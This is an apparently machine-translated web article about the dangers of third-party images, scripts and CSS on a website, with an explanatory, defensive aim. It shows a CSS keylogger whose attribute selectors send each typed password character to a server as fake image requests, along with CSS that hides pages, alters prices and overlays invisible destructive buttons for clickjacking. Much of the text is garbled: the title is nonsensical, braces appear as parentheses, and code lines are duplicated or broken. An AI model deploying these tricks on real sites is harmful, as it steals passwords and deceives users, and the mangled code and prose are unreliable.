Hardware and software setup

Third party resource what. doorway

We tell you how you can harm your site using third-party CSS, JavaScript and other resources from other people's servers.

At the end of February, a keylogger appeared on the web that partially uses CSS. The attack with its help is simple: for each character entered in a field with a certain type (for example, password), a request is generated to a third-party server, supposedly requesting a background image:

input ( background-image: url("http://localhost:3000/a"); )

background-image : url ("http://localhost:3000/a" ) ;

On the server, the query sequence can be registered and the entered password can be easily calculated.

In the process of discussing the problem, some suggested that browser manufacturers work on a fix. Someone noticed that the problem is relevant only for sites on React-like frameworks, and shifted the blame to them.

third party pictures

< img src = "https://example.com/kitten.jpg">

If you add this kind of image to your site, you will become dependent on example.com. They can set you up different ways, for example, remove the image - you will get a 404 instead of an image. Or they can just replace the cat image with something less pleasant.

You can warn your users that the image was added from a third-party resource and you are not related to it. This will save you some trouble. But of course, when you add a simple picture, you don't give access to the passwords.

Third Party Scripts

This example is much more interesting for example.com because by adding a script from their site you give them a lot more control over theirs. In this case, example.com might:

  • Read/modify page content.
  • Track every user action.
  • Run hard-to-calculate code (for example, a cryptominer).
  • Request cookies.
  • Read/modify local storage.

In other words, now example.com can do a lot of things.

Interaction with local storage in the future brings more more problems. A third party resource will have access to your site even after the script is removed from the page. If you are adding a third party script to a site, you must absolutely trust the source and its security.

If you still run into a bad script, try using the Clear-Site-Data header .

Third Party CSS

< link rel = "stylesheet" href = "https://example.com/style.css">

Third-party CSS-code on the impact on the site is between the picture and the script. Alien CSS can:

  • Delete/modify/add content on the page.
  • Make requests based on page content.
  • Respond to many user actions.

CSS will not be able to interact with local storage and the cryptominer will not embed on the page, but it can bring a lot of harm to the owner of the resource.

Keylogger

Let's slightly modify the CSS from the beginning of the article:

input ( background-image: url("/password?a"); )

input[type="password"][value$="a"](

background-image : url("/password?a" ) ;

This code will send data about the entered character "a" to the handler under the guise of a picture request. Repeat the code for each character and you already have a CSS keylogger.

By default, browsers don't store user-entered characters in the value attribute, so this trick will work if you use something that synchronizes values ​​like this, like .

Of course, this problem can be solved on the side of React and similar frameworks. But then only a specific case will be solved, and the rest of the problems will remain.

Disappearing Content

body ( display: none; ) html::after ( content: "HTTP Server Error"; )

body (

display : none ;

html::after(

content : "HTTP Server Error" ;

This is, of course, a very peculiar example, but still a working one. Imagine if your users, when entering the site, will see instead of the usual home page incomprehensible error. In the same way, third-party code can remove, for example, the "buy" button or do some other nuisance.

Adding content

Price-value::before ( content: "1"; )

Price - value ::before(

content : "1" ;

And just like that, your prices skyrocketed.

Moving content

Delete-everything-button ( opacity: 0; position: absolute; top: 500px; left: 300px; )

Delete-everything-button (

opacity: 0

position : absolute ;

top : 500px ;

left: 300px

Take a button that does something terrible that the user won't just click, make it transparent, and place it somewhere where the user is sure to click.

Of course, if the button does something really important, the user will first see a warning dialog. But that's not a problem either: it just needs more CSS. For example, you can change the content of the "Oh my God, no!" button to "Sure, I'm sure."

Imagine that browser makers fixed the keylogger trick. Attackers simply put an extra text field on top of an important password field and they are back to business.

Reading Attributes

The value and other attributes do not necessarily store passwords: an attacker might find something else of interest.

Liked the article? Share with friends!
Was this article helpful?
Yes
Not
Thanks for your feedback!
Something went wrong and your vote was not counted.
Thank you. Your message has been sent
Did you find an error in the text?
Select it, click Ctrl+Enter and we'll fix it!